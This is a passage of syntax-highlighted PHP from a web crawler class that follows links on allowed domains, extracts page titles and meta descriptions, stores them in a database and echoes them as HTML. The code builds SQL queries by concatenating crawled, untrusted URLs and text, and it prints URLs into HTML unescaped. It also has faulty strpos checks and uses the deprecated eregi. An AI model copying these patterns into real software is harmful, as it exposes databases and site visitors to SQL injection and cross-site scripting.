		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/in_array" rel="external"><span style="color: #990000;">in_array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span>_getDomain<span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">domains</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>			
			<span style="color: #666666; font-style: italic;">// read page content</span>
			<span style="color: #000088;">$doc</span> 	<span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span>_getHTTPRequest<span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #666666; font-style: italic;">// get page meta data</span>
			<a href="http://www.php.net/list" rel="external"><span style="color: #990000;">list</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$title</span><span style="color: #339933;">,</span> <span style="color: #000088;">$desc</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span>_analyzePage<span style="color: #009900;">&#40;</span><span style="color: #000088;">$doc</span><span style="color: #339933;">,</span><span style="color: #000088;">$page</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #666666; font-style: italic;">// log into inner array</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">links</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$page</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span>	<span style="color: #0000ff;">'url'</span> 		<span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$page</span> <span style="color: #339933;">,</span>
						<span style="color: #0000ff;">'title'</span>		<span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$title</span> <span style="color: #339933;">,</span>
						<span style="color: #0000ff;">'description'</span> 	<span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$desc</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #666666; font-style: italic;">// write into database		</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">ci</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">db</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'INSERT INTO web.map VALUES(&quot;&quot;,'</span> <span style="color: #339933;">.</span>
					<span style="color: #0000ff;">'&quot;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$page</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot;,'</span> <span style="color: #339933;">.</span>
					<span style="color: #0000ff;">'&quot;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$title</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot;,'</span> <span style="color: #339933;">.</span>
					<span style="color: #0000ff;">'&quot;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$desc</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot;,'</span> <span style="color: #339933;">.</span>
					<span style="color: #0000ff;">'&quot;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$parent</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot;) '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #000088;">$parent</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">ci</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">db</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">insert_id</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	
&nbsp;
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span>_printLine<span style="color: #009900;">&#40;</span><span style="color: #000088;">$title</span><span style="color: #339933;">,</span><span style="color: #000088;">$desc</span><span style="color: #339933;">,</span><span style="color: #000088;">$page</span><span style="color: #339933;">,</span><span style="color: #000088;">$depth</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	
&nbsp;
&nbsp;
		<span style="color: #666666; font-style: italic;">// avoid recursion for external domains</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/in_array" rel="external"><span style="color: #990000;">in_array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span>_getDomain<span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">domains</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">return</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #666666; font-style: italic;">// now get links and launch recursively</span>
		<span style="color: #000088;">$links</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span>_getInnerLinks<span style="color: #009900;">&#40;</span><span style="color: #000088;">$doc</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$links</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span> 
		<span style="color: #009900;">&#123;</span> 
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$depth</span> <span style="color: #339933;">&lt;</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">max_depth</span><span style="color: #009900;">&#41;</span>
			<span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span>_crawl<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #339933;">,</span><span style="color: #000088;">$parent</span><span style="color: #339933;">,</span><span style="color: #000088;">$depth</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	
			<span style="color: #009900;">&#125;</span>				
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #b1b100;">return</span><span style="color: #339933;">;</span>		
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Prints the current links array
	 * 
	 *  
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> printResults<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<a href="http://www.php.net/ksort" rel="external"><span style="color: #990000;">ksort</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">links</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">links</span> <span style="color: #b1b100;">AS</span> <span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span>_printLine<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'title'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'description'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'url'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Preloads the existent links in database 
	 * 
	 */</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> _loadLinks<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">ci</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">db</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SELECT url,title,description FROM web.map ORDER BY url ASC'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">num_rows</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$results</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$result</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">result</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$results</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$r</span><span style="color: #009900;">&#41;</span>
			<span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">links</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$r</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span>	<span style="color: #0000ff;">'url'</span> 		<span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$r</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span> <span style="color: #339933;">,</span>
								<span style="color: #0000ff;">'title'</span> 	<span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$r</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span> <span style="color: #339933;">,</span>
								<span style="color: #0000ff;">'description'</span> 	<span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$r</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">description</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>		
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>		 
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Reads a document for html links
	 * 
	 * @param string $doc [optional]
	 * 
	 * @return array of links
	 *  
	 */</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> _getInnerLinks<span style="color: #009900;">&#40;</span><span style="color: #000088;">$doc</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$return</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$regexp</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;a\s[^&gt;]*href=(<span style="color: #000099; font-weight: bold;">\&quot;</span>??)([^<span style="color: #000099; font-weight: bold;">\&quot;</span> &gt;]*?)<span style="color: #000099; font-weight: bold;">\\</span>1[^&gt;]*&gt;(.*)&lt;\/a&gt;&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$match</span>  <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/preg_match_all" rel="external"><span style="color: #990000;">preg_match_all</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/<span style="color: #006699; font-weight: bold;">$regexp</span>/siU&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$doc</span><span style="color: #339933;">,</span> <span style="color: #000088;">$matches</span><span style="color: #339933;">,</span> PREG_SET_ORDER<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> 
		<span style="color: #009900;">&#123;</span> 	
			<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$matches</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$match</span><span style="color: #009900;">&#41;</span> 
			<span style="color: #009900;">&#123;</span> 
				<span style="color: #000088;">$return</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$match</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span> 
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$return</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Prints a line for the current url
	 * 
	 * @param int
	 * 
	 */</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> _printLine<span style="color: #009900;">&#40;</span><span style="color: #000088;">$title</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #000088;">$desc</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #000088;">$depth</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #666666; font-style: italic;">// do not indent at this time</span>
		<span style="color: #000088;">$depth</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
		<span style="color: #666666; font-style: italic;">//</span>
&nbsp;
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;p&gt;'</span> <span style="color: #339933;">.</span>
				<span style="color: #0000ff;">'&lt;h3 style=&quot;margin-left:'</span> <span style="color: #339933;">.</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$depth</span><span style="color: #339933;">*</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">indent</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'px&quot;&gt;'</span> <span style="color: #339933;">.</span> 
					<a href="http://www.php.net/stripslashes" rel="external"><span style="color: #990000;">stripslashes</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$title</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> 
				<span style="color: #0000ff;">'&lt;/h3&gt;'</span> <span style="color: #339933;">.</span> 
				<span style="color: #0000ff;">'&lt;span style=&quot;margin-left:'</span> <span style="color: #339933;">.</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$depth</span><span style="color: #339933;">*</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">indent</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'px&quot;&gt;'</span> <span style="color: #339933;">.</span>
					<a href="http://www.php.net/substr" rel="external"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/stripslashes" rel="external"><span style="color: #990000;">stripslashes</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$desc</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span>
				<span style="color: #0000ff;">'&lt;/span&gt;'</span> <span style="color: #339933;">.</span> 
				<span style="color: #0000ff;">'&lt;h4 style=&quot;margin-left:'</span> <span style="color: #339933;">.</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$depth</span><span style="color: #339933;">*</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">indent</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'px&quot;&gt;'</span> <span style="color: #339933;">.</span> 
					<span style="color: #000088;">$page</span> <span style="color: #339933;">.</span> 
				<span style="color: #0000ff;">'&lt;/h4&gt;'</span> <span style="color: #339933;">.</span>
			<span style="color: #0000ff;">'&lt;/p&gt;'</span><span style="color: #339933;">;</span>	
	<span style="color: #009900;">&#125;</span>	
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Analyzes a page to get meta information
	 * 
	 * @param string $doc(cument)
	 * @param string $page
	 * 
	 * @return list($title,$description);
	 *  
	 */</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> _analyzePage<span style="color: #009900;">&#40;</span><span style="color: #000088;">$doc</span><span style="color: #339933;">,</span> <span style="color: #000088;">$page</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #666666; font-style: italic;">//</span>
		<span style="color: #000088;">$title</span> 	<span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$desc</span> 	<span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
		<span style="color: #666666; font-style: italic;">//</span>
&nbsp;
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/eregi" rel="external"><span style="color: #990000;">eregi</span></a> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;&lt;title&gt;(.*)&lt;/title&gt;&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$doc</span><span style="color: #339933;">,</span> <span style="color: #000088;">$out</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> 
		<span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$title</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/addslashes" rel="external"><span style="color: #990000;">addslashes</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$out</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	
&nbsp;
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/strlen" rel="external"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$out</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
			<span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$title</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr" rel="external"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$title</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">50</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	
			<span style="color: #009900;">&#125;</span>			
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #000088;">$out</span> 	<span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/get_meta_tags" rel="external"><span style="color: #990000;">get_meta_tags</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset" rel="external"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$out</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'description'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$desc</span> 	<span style="color: #339933;">=</span> <a href="http://www.php.net/addslashes" rel="external"><span style="color: #990000;">addslashes</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$out</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'description'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #b1b100;">return</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$title</span><span style="color: #339933;">,</span><span style="color: #000088;">$desc</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Completes a page link with the domain if needed
	 * 
	 * @param string $page
	 * @param int 	 $parent
	 * 
	 * @return string corrected url
	 *  
	 */</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> _buildUrl<span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #339933;">,</span><span style="color: #000088;">$parent</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #666666; font-style: italic;">// prepare url if relative</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/eregi" rel="external"><span style="color: #990000;">eregi</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'http://'</span><span style="color: #339933;">,</span><span style="color: #000088;">$page</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #666666; font-style: italic;">// root relative path</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/strpos" rel="external"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'/'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span>
			<span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'http://'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">domains</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$page</span><span style="color: #339933;">;</span>	
			<span style="color: #009900;">&#125;</span>
			<span style="color: #666666; font-style: italic;">// page relative path</span>
			<span style="color: #b1b100;">else</span>
			<span style="color: #009900;">&#123;</span>
				<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/strpos" rel="external"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'mailto:'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&lt;</span><span style="color: #cc66cc;">0</span> <span style="color: #339933;">&amp;&amp;</span> <a href="http://www.php.net/strpos" rel="external"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'javascript:'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&lt;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span>
				<span style="color: #009900;">&#123;</span>
					<span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span>_getUrlByID<span style="color: #009900;">&#40;</span><span style="color: #000088;">$parent</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$page</span><span style="color: #339933;">;</span>	
				<span style="color: #009900;">&#125;</span>				
			<span style="color: #009900;">&#125;</span>			
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #666666; font-style: italic;">// trim final slash</span>
		<span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/trim" rel="external"><span style="color: #990000;">trim</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'/'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$page</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Gets url for a given ID
	 * 
	 * @param int url id
	 * 
	 * @return string the url
	 *  
	 */</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> _getUrlByID<span style="color: #009900;">&#40;</span><span style="color: #000088;">$id</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$results</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">ci</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">db</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SELECT url FROM web.map WHERE ID = &quot;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$id</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$results</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">num_rows</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$results</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">result</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #b1b100;">return</span> <span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #b1b100;">return</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Gets domain name from a URL
	 * 
	 * @param string url
	 * 
	 * @return string domain name
	 * 
	 */</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> _getDomain<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #666666; font-style: italic;">// get host name from URL</span>
		<a href="http://www.php.net/preg_match" rel="external"><span style="color: #990000;">preg_match</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'@^(?:http://)?([^/]+)@i'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$url</span><span style="color: #339933;">,</span> <span style="color: #000088;">$matches</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset" rel="external"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$matches</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #000088;">$matches</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>	
		<span style="color: #009900;">&#125;</span>
		<span style="color: #b1b100;">else</span>
		<span style="color: #009900;">&#123;</span>
